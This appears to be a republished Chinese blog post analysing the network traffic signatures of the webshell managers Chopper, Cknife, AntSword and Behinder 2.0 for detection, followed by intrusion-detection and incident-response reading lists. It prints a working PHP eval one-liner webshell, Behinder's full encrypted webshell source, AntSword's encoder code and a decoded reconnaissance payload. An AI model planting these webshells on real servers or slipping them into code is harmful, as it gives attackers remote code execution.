Shell管理工具流量分析-上(菜刀、蚁剑、冰蝎2.0流量分析)&入侵检测、应急响应资料整理

这篇具有很好参考价值的文章主要介绍了Shell管理工具流量分析-上(菜刀、蚁剑、冰蝎2.0流量分析)&入侵检测、应急响应资料整理。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

Shell管理工具流量分析-上(菜刀、蚁剑、冰蝎2.0流量分析)&入侵检测、应急响应资料整理

本文将会从攻防的角度分析常用 webshell 管理工具(菜刀、蚁剑、冰蝎2.0,冰蝎3.0、哥斯拉将在下篇介绍)的流量特点,后半部分会整理一些有关 webshell 入侵检测和应急响应的文章

Webshell 管理工具流量分析

菜刀&Cknife

先从最简单的开始吧,菜刀也算是比较早的 webshell 管理工具了,加密方式比较简单,这里分析 2016 版的菜刀

下载地址:https://github.com/raddyfiy/caidao-official-version

下载之后就直接被 360 查杀了,本地环境就是 PHP 直接在网站目录里放了个一句话,为了减少不必要的流量在 kali 虚拟机中进行操作

如果 kali 没有开启服务,可以使用以下命令

root@kali:~# service apache2 start

在 /var/www/html 下放置 shell.php

<?php @eval($_REQUEST['shell']);?>

验证成功

Shell管理工具流量分析-上(菜刀、蚁剑、冰蝎2.0流量分析)&入侵检测、应急响应资料整理

首先用 wireshark 开启监听,然后使用菜刀连接

Shell管理工具流量分析-上(菜刀、蚁剑、冰蝎2.0流量分析)&入侵检测、应急响应资料整理

图中为菜刀连接时产生的流量

首先,菜刀会伪造 X-Forwarded-For 头,且每一次利用菜刀与webshell建立连接,X-Forwarded-For 都会变化

将这段 post 请求先进行 url 解码

Shell管理工具流量分析-上(菜刀、蚁剑、冰蝎2.0流量分析)&入侵检测、应急响应资料整理

发现请求执行了 base64_decode 函数对 z0 进行 base64 后,经过 eval 函数执行命令,base64 解密 z0

Shell管理工具流量分析-上(菜刀、蚁剑、冰蝎2.0流量分析)&入侵检测、应急响应资料整理

@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D}\t";if(substr($D,0,1)!="/"){foreach(range("A","Z") as $L)if(is_dir("{$L}:"))$R.="{$L}:";}$R.="\t";$u=(function_exists('posix_getegid'))?@posix_getpwuid(@posix_geteuid()):'';$usr=($u)?$u['name']:@get_current_user();$R.=php_uname();$R.="({$usr})";print $R;;echo("|<-");die();

这部分就是传输的 payload,首先关闭报错和 magic_quotes,接下来去获取主机的信息

这一段 QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTs 将其base64解码,为@ini_set("display_errors","0");@set_time_limit(0); 流量特征明显,可以用插件做混淆处理

Cknife

c刀是由java写的客户端,所以它的适用性比较强,linux、windows平台都可以用,cknife首先会查询服务器版本信息,接下来才是查询当前目录。由于cknife是基于菜刀改的,在流量上与菜刀是十分相似的,都包含@eval,以及base64编码后的QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTs

蚁剑

使用蚁剑进行连接时可以选择编码器

Shell管理工具流量分析-上(菜刀、蚁剑、冰蝎2.0流量分析)&入侵检测、应急响应资料整理

默认编码器

Shell管理工具流量分析-上(菜刀、蚁剑、冰蝎2.0流量分析)&入侵检测、应急响应资料整理

看流量可以发现如果用默认的蚁剑测试,连接时会请求两次(上图为第一次http请求,右击选择追踪 http 流),其请求体只是经过 url 编码,其流量中也存在和蚁剑一样的代码

Shell管理工具流量分析-上(菜刀、蚁剑、冰蝎2.0流量分析)&入侵检测、应急响应资料整理

@ini_set("display_errors", "0");@set_time_limit(0);

这段代码基本是所有 WebShell 客户端链接 PHP 类 WebShell 都有的一种代码

第二次 http 请求(下图)会把目录列出来

Shell管理工具流量分析-上(菜刀、蚁剑、冰蝎2.0流量分析)&入侵检测、应急响应资料整理

Base64编码器

php 的编码器文件在以下目录

antSword-master\source\core\php\decoder

Shell管理工具流量分析-上(菜刀、蚁剑、冰蝎2.0流量分析)&入侵检测、应急响应资料整理

/**
 * php::base64编码器
 * ? 利用php的base64_decode进行编码处理
 */

'use strict';

module.exports = (pwd, data, ext = null) => {
  // 生成一个随机变量名
  let randomID;
  if (ext.opts.otherConf['use-random-variable'] === 1) {
    randomID = antSword.utils.RandomChoice(antSword['RANDOMWORDS']);
  } else {
    randomID = `${antSword['utils'].RandomLowercase()}${Math.random().toString(16).substr(2)}`;
  }
  data[randomID] = Buffer
    .from(data['_'])
    .toString('base64');
  data[pwd] = `@eval(@base64_decode($_POST[${randomID}]));`;
  delete data['_'];
  return data;
}

data[pwd], 此函数的作用是作为参数传递的,所以这里在流量当中是明文传输

Shell管理工具流量分析-上(菜刀、蚁剑、冰蝎2.0流量分析)&入侵检测、应急响应资料整理

Shell管理工具流量分析-上(菜刀、蚁剑、冰蝎2.0流量分析)&入侵检测、应急响应资料整理

可以看到传入的变量 shell 没有被加密,软容易被 waf 探测到,其他的编码器也是类似的

RSA模块

有一个RSA模块,使用了RSA非对称加密进行传输,新建编码器 -> RSA配置 -> 点击生成公私钥

Shell管理工具流量分析-上(菜刀、蚁剑、冰蝎2.0流量分析)&入侵检测、应急响应资料整理

然后将生成好的 shell 放到目标机器点击连接查看流量,可以直接使用公钥进行解密,但是这种需要目标机器安装 OpenSsh 扩展库才可以

Shell管理工具流量分析-上(菜刀、蚁剑、冰蝎2.0流量分析)&入侵检测、应急响应资料整理

使用设置好的编码器连接,在流量中 ant 连接字符也没有加密

Shell管理工具流量分析-上(菜刀、蚁剑、冰蝎2.0流量分析)&入侵检测、应急响应资料整理

其他大佬说的并没有遇到

Shell管理工具流量分析-上(菜刀、蚁剑、冰蝎2.0流量分析)&入侵检测、应急响应资料整理

冰蝎

冰蝎利用了服务器端的脚本语言加密功能,通讯的过程中,消息体内容采用 AES 加密,基于特征值检测的安全产品无法查出

项目地址:https://github.com/rebeyond/Behinder/releases

简单了解一下 AES 加密

高级加密标准 (AES,Advanced Encryption Standard) 为最常见的对称加密算法(微信小程序加密传输就是用这个加密算法的),对称加密算法也就是加密和解密用相同的密钥,具体的加密流程如下图

Shell管理工具流量分析-上(菜刀、蚁剑、冰蝎2.0流量分析)&入侵检测、应急响应资料整理

冰蝎 2.0 加密原理图如下(Shell 端为服务端):

Shell管理工具流量分析-上(菜刀、蚁剑、冰蝎2.0流量分析)&入侵检测、应急响应资料整理

使用

  1. 首先上传冰蝎专属 webshell(在冰蝎的 server 目录可以找到自带 webshell)

    <?php
    @error_reporting(0);
    session_start();
    if (isset($_GET['pass']))
    {
        $key=substr(md5(uniqid(rand())),16);
        $_SESSION['k']=$key;
        print $key;
    }
    else
    {
        $key=$_SESSION['k'];
    	$post=file_get_contents("php://input");
    	if(!extension_loaded('openssl'))
    	{
    		$t="base64_"."decode";
    		$post=$t($post."");
    		
    		for($i=0;$i<strlen($post);$i++) {
        			 $post[$i] = $post[$i]^$key[$i+1&15]; 
        			}
    	}
    	else
    	{
    		$post=openssl_decrypt($post, "AES128", $key);
    	}
        $arr=explode('|',$post);
        $func=$arr[0];
        $params=$arr[1];
    	class C{public function __construct($p) {eval($p."");}}
    	@new C($params);
    }
    ?>
    
  2. 攻击者使用命令启动

    java -jar .\Behinder.jar
    # 双击不行就用命令
    

    连接 shell

    Shell管理工具流量分析-上(菜刀、蚁剑、冰蝎2.0流量分析)&入侵检测、应急响应资料整理

    添加之后双击即可

2.0流量

webshell分析

以 php 版本的 webshell 为例分析(就是刚刚上传的webshell),查看冰蝎的 webshell 代码,先会对 Get 传入的 pass 这个参数进行检查,如果存在的话会以时间的方式生成长度 16 的随机 key,然后存入到 session 当中,再往后判断是否开启了 openssl 这个扩展,开启的情况就会开启 AES 进行解密,得到中间结果字符串 assert|eval("phpinfo();") 此数据是由冰蝎加载器发出的,已经定义好的,服务端利用 explode 函数将拆分为一个字符串数据,然后以可变函数方式调用索引为 0 的数组元素,参数为索引为 1 的数组元素,即为 assert("eval("phpinfo;")"),没有开启的情况,进行异或处理然后通过 base64 加密

这就是同时在早期有一定的免杀效果,但是这个函数现在已经被标注为危险函数且被加入防火墙规则

2.0 的分析文章:冰蝎,从入门到魔改

Shell管理工具流量分析-上(菜刀、蚁剑、冰蝎2.0流量分析)&入侵检测、应急响应资料整理

使用 Wireshark 查看连接 webshell 的流量进行分析,查看会发送俩次 Get 请求,分为俩次 Get 的握手请求,第一次请求服务端产生密钥写入session,session 和当前会话绑定。不同的客户端的密钥也是不同的,第二次请求是为了获取 key。此时的 99030fc0bb93de17就为解密代码的 key

post 的数据可以利用上面的 Key 进行解密获得代码,可以自己写代码也可以使用在线网站进行解密,在线网站只有在这个网站解密成功

http://tools.bugscaner.com/cryptoaes/

解密后的内容会对代码再次进行了一次base64的解码

Shell管理工具流量分析-上(菜刀、蚁剑、冰蝎2.0流量分析)&入侵检测、应急响应资料整理

左边是没有开启OpenSsl扩展的响应,右面是开启OpenSsl扩展的,对响应进行AES的解密 (下图2) ,base64解码后的内容:{"status":"success","msg":"1a6ed26a-009d-4127-a6fb-1fd4e90c84fa"}

Shell管理工具流量分析-上(菜刀、蚁剑、冰蝎2.0流量分析)&入侵检测、应急响应资料整理

Shell管理工具流量分析-上(菜刀、蚁剑、冰蝎2.0流量分析)&入侵检测、应急响应资料整理

3.0流量

下一篇分析

冰蝎 Behinder 功能原理

  • 《利用动态二进制加密实现新型一句话木马之客户端篇》 https://xz.aliyun.com/t/2799
  • 《利用动态二进制加密实现新型一句话木马之Java篇》 https://xz.aliyun.com/t/2744
  • 《利用动态二进制加密实现新型一句话木马之.NET篇》 https://xz.aliyun.com/t/2758
  • 《利用动态二进制加密实现新型一句话木马之PHP篇》 https://xz.aliyun.com/t/2774

参考链接

  • 主流WebShell工具流量层分析
  • Webshell连接工具流量分析
  • 常见webshell管理工具流量特征值分析

资料整理

入侵检测

  • Webshell入侵检测初探
  • 企业安全建设之HIDS(一)
  • 企业安全建设之HIDS(二):入侵检测&应急响应
  • 带外通道技术(OOB)总结
  • 左右互搏术的自我修养
  • 入侵检测技术建设及其在场景下的运用
  • ATT&CK矩阵Linux系统安全实践
  • Linux入侵检测之文件监控
  • 安全防御:Linux入侵检测之文件监控
  • Linux入侵检测之syscall监控

以上这些文章建议顺序学习,由 pilgrim 发布于 Freebuf,大佬的文章很详细,无需多赘述

应急响应

  • 奇安信安服团队出版的《网络安全应急响应实战指南》一书,微信读书链接

    第1~3章为网络安全应急响应工程师需要掌握的基础理论、基础技能和常用工具,第4~10章为当前网络安全应急响应常见的七大处置场景,分别是勒索病毒、挖矿木马、Webshell、网页篡改、DDoS攻击、数据泄露和流量劫持网络安全应急响应

  • Bypass007团队应急响应笔记

    GitHub 地址:https://github.com/Bypass007/Emergency-Response-Notes

    GitBook 地址:https://bypass007.github.io/Emergency-Response-Notes

    包括入侵排查、日志分析、权限维持、实战部分等部分U
    Shell管理工具流量分析-上(菜刀、蚁剑、冰蝎2.0流量分析)&入侵检测、应急响应资料整理文章来源地址https://www.toymoban.com/news/detail-431554.html

到了这里,关于Shell管理工具流量分析-上(菜刀、蚁剑、冰蝎2.0流量分析)&入侵检测、应急响应资料整理的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • webshell管理工具-antSword(蚁剑)的安装和管理

    中国蚁剑是一款流行的网络安全工具,它由中国安全研究人员研发,主要用于测试和评估网络的安全性。 蚁剑具有强大的功能,可以用于远程控制和管理服务器,包括文件管理、进程管理、端口扫描、SQL注入、WebShell等功能。它还可以在未授权的情况下访问和操纵目标系统,

    2024年02月16日
    浏览(48)
  • Web安全-AntSword(中国蚁剑)Webshell管理工具使用

    蚂剑工具的下载分为两个部分,一个是项目核心源码antSword,另一个是加载器AntSword-Loader。我们依次进行下载,并且进行说明 先点击进入antSword,点击页面右侧\\\"releases\\\",进入工具的源码下载页面进行源码下载。 而后点击进入AntSword-Loader,点击页面右侧\\\"releases\\\",进入加载器下

    2024年02月12日
    浏览(41)
  • [玄机]流量特征分析-蚁剑流量分析

    流量特征分析-蚁剑流量分析        题目做法及思路解析(个人分享) AntSword(蚁剑)是一款开源的网络安全工具,常用于网络渗透测试和攻击。它可以远程连接并控制被攻击计算机,执行命令、上传下载文件等操作。 蚁剑与网站进行数据交互的过程中,发送的数据是经

    2024年01月25日
    浏览(50)
  • webshell管理工具-冰蝎(Behinder)的安装和基础使用(msf联动,流量特征)

    冰蝎是一款基于Java开发的动态加密通信流量的新型Webshell客户端,由于通信流量被加密,传统的WAF、IDS 设备 难以 检测,给威胁狩猎带来较大挑战。冰蝎其最大特点就是对交互流量进行对称加密,且加密密钥是由随机数函数动态生成,因此该客户端的流量几乎无法检测。 gi

    2024年02月02日
    浏览(53)
  • 蚁剑流量分析

    蚁剑是什么           蚁剑(AntSword)是一款开源的跨平台WebShell管理工具 蚁剑流量特征两大特征         1、默认的 user-agent 请求头是 antsword xxx(可修改)         2、蚁剑的正文内容用URL加密,解密后流量最中明显的特征为ini_set(\\\"display_errors\\\",\\\"0\\\"); 分析前准备工作  

    2024年02月13日
    浏览(45)
  • 【Shell 命令集合 系统管理 】Linux 终端复用工具 screen命令 使用指南

    Shell 命令专栏:Linux Shell 命令全解析 screen命令是一个在Linux操作系统中使用的终端复用工具。它允许用户在一个终端窗口中同时运行多个终端会话,并且可以在这些会话之间自由切换。 screen命令的主要作用是提供一个“会话管理器”,可以在一个终端窗口中创建多个虚拟终端

    2024年02月05日
    浏览(74)
  • Istio是一个开源的基于 envoy proxy 的服务网格工具,它通过提供应用层面的流量管理和安全保障能力,帮助企业构建一个完整的服务网络体系

    作者:禅与计算机程序设计艺术 容器编排工具通常都提供微服务架构,其中包括服务注册与发现、负载均衡、流量控制和熔断等功能。随着云计算的普及,越来越多的人开始使用这些容器编排工具,包括Docker Swarm、Kubernetes、Mesos等。除了提供容器集群管理之外,许多容器编排

    2024年02月07日
    浏览(51)
  • Elasticsearch系列组件:Logstash强大的日志管理和数据分析工具

    Elasticsearch 是一个开源的、基于 Lucene 的分布式搜索和分析引擎,设计用于云计算环境中,能够实现实时的、可扩展的搜索、分析和探索全文和结构化数据。它具有高度的可扩展性,可以在短时间内搜索和分析大量数据。 Elasticsearch 不仅仅是一个全文搜索引擎,它还提供了分布

    2024年02月08日
    浏览(47)
  • 利用大数据分析工具,实现多场景可视化数据管理

    https://yanhuang.yuque.com/staff-sbytbc/rb5rur? 购买服务器 购买腾讯云服务器,1300 元新人价,一年时间 ●4核16G内存 ●CentOS 6.7 (补充说明:最新的 2.7.1 GA 版本,8G 内存也是可以跑的,可以先使用8G,不够再做升级)。 安装docker环境 安装docker,速度还挺快的,大概3~5分钟内 1、注册鸿

    2024年02月14日
    浏览(58)
  • Kyligence Zen 一站式指标平台体验——“绝对实力”的指标分析和管理工具——入门体验评测

    🦖欢迎观阅本本篇文章,我是Sam9029 在知道 Kyligence Zen 之前,我对于该类提供在线化数据处理服务的产品了解甚少 脑子里对于数据处理的印象依旧在传统的办公软件和专业领域软件上 Excel 的大名自不必说, Spss 和 SAS 略有了解,同时作为开发人员, Echarts 倒是使用频率更多

    2024年02月04日
    浏览(70)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包